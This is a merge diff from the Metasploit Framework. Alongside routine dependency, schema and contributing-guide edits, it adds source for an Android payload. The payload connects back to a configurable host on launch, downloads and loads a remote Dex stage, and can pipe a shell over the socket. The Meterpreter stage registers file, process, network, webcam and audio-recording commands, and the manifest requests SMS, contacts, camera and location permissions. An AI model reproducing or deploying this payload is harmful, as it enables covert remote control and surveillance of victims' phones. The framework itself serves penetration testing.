Merge branch 'master' into bug/module-load-cache-update
This commit is contained in:
@@ -36,3 +36,9 @@ Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
||||
|
||||
To save yourself the embarrassment of committing common errors, you will
|
||||
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
|
||||
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
|
||||
from the top-level directory of your metasploit-framework clone. This
|
||||
will prevent you from committing modules that raise WARNINGS or ERRORS.
|
||||
|
||||
@@ -15,7 +15,7 @@ group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.14.3'
|
||||
gem 'metasploit_data_models', '~> 0.15.1'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
|
||||
+2
-2
@@ -23,7 +23,7 @@ GEM
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
metasploit_data_models (0.14.3)
|
||||
metasploit_data_models (0.15.1)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
@@ -65,7 +65,7 @@ DEPENDENCIES
|
||||
database_cleaner
|
||||
factory_girl (>= 4.1.0)
|
||||
json
|
||||
metasploit_data_models (~> 0.14.3)
|
||||
metasploit_data_models (~> 0.15.1)
|
||||
msgpack
|
||||
nokogiri
|
||||
pcaprub
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+22
-1
@@ -11,7 +11,7 @@
|
||||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130516204810) do
|
||||
ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
@@ -427,6 +427,27 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_creds", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "cred_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_hosts", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "host_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_services", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "service_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "tasks", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "created_by"
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.metasploit.stage"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0" >
|
||||
|
||||
<uses-sdk android:minSdkVersion="3"/>
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
|
||||
<application
|
||||
android:icon="@drawable/icon"
|
||||
android:label="@string/app_name" >
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:label="@string/app_name" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
@@ -0,0 +1,77 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-AndroidPayload</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
<packaging>apk</packaging>
|
||||
<name>AndroidPayload for Metasploit</name>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.6_r2</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<sourceDirectory>src</sourceDirectory>
|
||||
<pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>deploy</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<unzip src="${project.basedir}/target/${project.build.finalName}.apk" dest="${project.basedir}/../../../../../data/android/apk" >
|
||||
<patternset>
|
||||
<exclude name="META-INF/**"/>
|
||||
</patternset>
|
||||
</unzip>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
|
||||
</project>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 3.1 KiB |
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="fill_parent"
|
||||
android:orientation="vertical" >
|
||||
|
||||
<Button
|
||||
android:id="@+id/button_reverse"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ReverseTCP" />
|
||||
|
||||
</LinearLayout>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">MainActivity</string>
|
||||
</resources>
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Random;
|
||||
|
||||
public class LoadStage {
|
||||
private String randomJarName() {
|
||||
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < 20; i++) {
|
||||
char c = chars[random.nextInt(chars.length)];
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString() + ".jar";
|
||||
}
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
String jarFile = randomJarName();
|
||||
String path = context.getFilesDir().getAbsolutePath();
|
||||
|
||||
// Read the class name
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
String classFile = new String(core);
|
||||
|
||||
// Read the stage
|
||||
coreLen = in.readInt();
|
||||
core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
|
||||
fos.write(core);
|
||||
fos.close();
|
||||
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass(classFile);
|
||||
final Object stage = myClass.newInstance();
|
||||
myClass.getMethod("start", new Class[] {
|
||||
DataInputStream.class, OutputStream.class, Context.class, String[].class
|
||||
}).invoke(stage, new Object[] {
|
||||
in, out, context, parameters
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.os.AsyncTask;
|
||||
import android.os.Bundle;
|
||||
import android.view.View;
|
||||
import android.view.View.OnClickListener;
|
||||
|
||||
public class MainActivity extends Activity
|
||||
{
|
||||
// avoid re-ordering the strings in classes.dex - append XXXX
|
||||
private static final String LHOST = "XXXX127.0.0.1 ";
|
||||
private static final String LPORT = "YYYY4444 ";
|
||||
|
||||
@Override
|
||||
public void onCreate(Bundle savedInstanceState)
|
||||
{
|
||||
super.onCreate(savedInstanceState);
|
||||
setContentView(R.layout.main);
|
||||
|
||||
findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
|
||||
@Override
|
||||
public void onClick(View v) {
|
||||
startAsync();
|
||||
}
|
||||
});
|
||||
|
||||
startAsync();
|
||||
}
|
||||
|
||||
private void startAsync() {
|
||||
new AsyncTask<Void, Void, Void>() {
|
||||
@Override
|
||||
protected Void doInBackground(Void... params) {
|
||||
reverseTCP();
|
||||
return null;
|
||||
}
|
||||
}.execute();
|
||||
}
|
||||
|
||||
private void reverseTCP() {
|
||||
try {
|
||||
String lhost = LHOST.substring(4).trim();
|
||||
String lport = LPORT.substring(4).trim();
|
||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
new LoadStage().start(in, out, this, new String[] {});
|
||||
msgsock.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.metasploit.stage"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0">
|
||||
</manifest>
|
||||
@@ -0,0 +1,137 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
<packaging>apk</packaging>
|
||||
<name>Android Meterpreter</name>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.6_r2</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-Java-Meterpreter</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<sourceDirectory>src</sourceDirectory>
|
||||
<pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>deploy</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<condition property="dx.filename" value="dx.bat">
|
||||
<os family="windows" />
|
||||
</condition>
|
||||
<property name="dx.filename" value="dx" />
|
||||
|
||||
<echo>Building shell</echo>
|
||||
<delete dir="${project.basedir}/target/dx" />
|
||||
<mkdir dir="${project.basedir}/target/dx/shell" />
|
||||
<copy todir="${project.basedir}/target/dx/shell">
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<include name="androidpayload/stage/Shell.class" />
|
||||
<include name="androidpayload/stage/Stage.class" />
|
||||
</fileset>
|
||||
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
|
||||
</copy>
|
||||
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
|
||||
<arg value="--verbose" />
|
||||
<arg value="--dex" />
|
||||
<arg value="--output=${project.basedir}/../../../../../data/android/shell.jar" />
|
||||
<arg value="${project.basedir}/target/dx/shell" />
|
||||
</exec>
|
||||
|
||||
<echo>Building meterpreter stage</echo>
|
||||
<mkdir dir="${project.basedir}/target/dx/metstage" />
|
||||
<copy todir="${project.basedir}/target/dx/metstage">
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<include name="androidpayload/stage/Meterpreter.class" />
|
||||
<include name="androidpayload/stage/Stage.class" />
|
||||
</fileset>
|
||||
</copy>
|
||||
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
|
||||
<arg value="--verbose" />
|
||||
<arg value="--dex" />
|
||||
<arg value="--output=${project.basedir}/../../../../../data/android/metstage.jar" />
|
||||
<arg value="${project.basedir}/target/dx/metstage" />
|
||||
</exec>
|
||||
|
||||
<echo>Building meterpreter</echo>
|
||||
<mkdir dir="${project.basedir}/target/dx/meterpreter" />
|
||||
<copy todir="${project.basedir}/target/dx/meterpreter">
|
||||
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" />
|
||||
</copy>
|
||||
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
|
||||
<arg value="--verbose" />
|
||||
<arg value="--dex" />
|
||||
<arg value="--output=${project.basedir}/../../../../../data/android/meterpreter.jar" />
|
||||
<arg value="${project.basedir}/target/dx/meterpreter" />
|
||||
<arg value="${com.metasploit:Metasploit-Java-Meterpreter:jar}" />
|
||||
<arg value="${com.metasploit:Metasploit-Java-Meterpreter-stdapi:jar}" />
|
||||
<arg value="${com.metasploit:Metasploit-JavaPayload:jar}" />
|
||||
</exec>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
</project>
|
||||
Vendored
+51
@@ -0,0 +1,51 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
private String randomJarName() {
|
||||
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < 20; i++) {
|
||||
char c = chars[random.nextInt(chars.length)];
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString() + ".jar";
|
||||
}
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
String jarFile = randomJarName();
|
||||
String path = context.getFilesDir().getAbsolutePath();
|
||||
|
||||
// Read the stage
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
|
||||
fos.write(core);
|
||||
fos.close();
|
||||
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
|
||||
myClass.getConstructor(new Class[] {
|
||||
DataInputStream.class, OutputStream.class, Context.class, boolean.class
|
||||
}).newInstance(in, out, context, false);
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
import javapayload.stage.StreamForwarder;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Shell implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
final Process proc = Runtime.getRuntime().exec("sh");
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public interface Stage {
|
||||
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
|
||||
}
|
||||
+88
@@ -0,0 +1,88 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
|
||||
import com.metasploit.meterpreter.android.webcam_audio_record_android;
|
||||
import com.metasploit.meterpreter.android.webcam_get_frame_android;
|
||||
import com.metasploit.meterpreter.android.webcam_list_android;
|
||||
import com.metasploit.meterpreter.android.webcam_start_android;
|
||||
import com.metasploit.meterpreter.android.webcam_stop_android;
|
||||
import com.metasploit.meterpreter.stdapi.Loader;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_4;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
|
||||
|
||||
public class AndroidMeterpreter extends Meterpreter {
|
||||
|
||||
private final Context context;
|
||||
|
||||
public Context getContext() {
|
||||
return context;
|
||||
}
|
||||
|
||||
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
|
||||
super(in, rawOut, true, redirectErrors, false);
|
||||
this.context = context;
|
||||
startExecuting();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] loadExtension(byte[] data) throws Exception {
|
||||
getCommandManager().resetNewCommands();
|
||||
CommandManager mgr = getCommandManager();
|
||||
Loader.cwd = context.getFilesDir().getAbsoluteFile();
|
||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
|
||||
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
|
||||
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
|
||||
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
||||
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
||||
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
||||
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
||||
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
||||
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
||||
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
|
||||
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_4.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
|
||||
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
|
||||
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
|
||||
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
|
||||
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
|
||||
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
|
||||
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
|
||||
mgr.registerCommand("webcam_list", webcam_list_android.class);
|
||||
mgr.registerCommand("webcam_start", webcam_start_android.class);
|
||||
mgr.registerCommand("webcam_stop", webcam_stop_android.class);
|
||||
mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
|
||||
return getCommandManager().getNewCommands();
|
||||
}
|
||||
}
|
||||
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
|
||||
|
||||
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
|
||||
|
||||
protected String getShellPath() {
|
||||
return "sh";
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
|
||||
public class stdapi_sys_process_get_processes_android implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
||||
"sh", "-c", "ps 2>/dev/null"
|
||||
});
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line = br.readLine();
|
||||
if (line == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
while ((line = br.readLine()) != null) {
|
||||
String[] parts = line.replace('\t', ' ').trim().split(" ");
|
||||
if (parts.length < 2) {
|
||||
continue;
|
||||
}
|
||||
int pid = -1;
|
||||
for (String part : parts) {
|
||||
try {
|
||||
pid = Integer.valueOf(part);
|
||||
} catch (NumberFormatException e) {
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
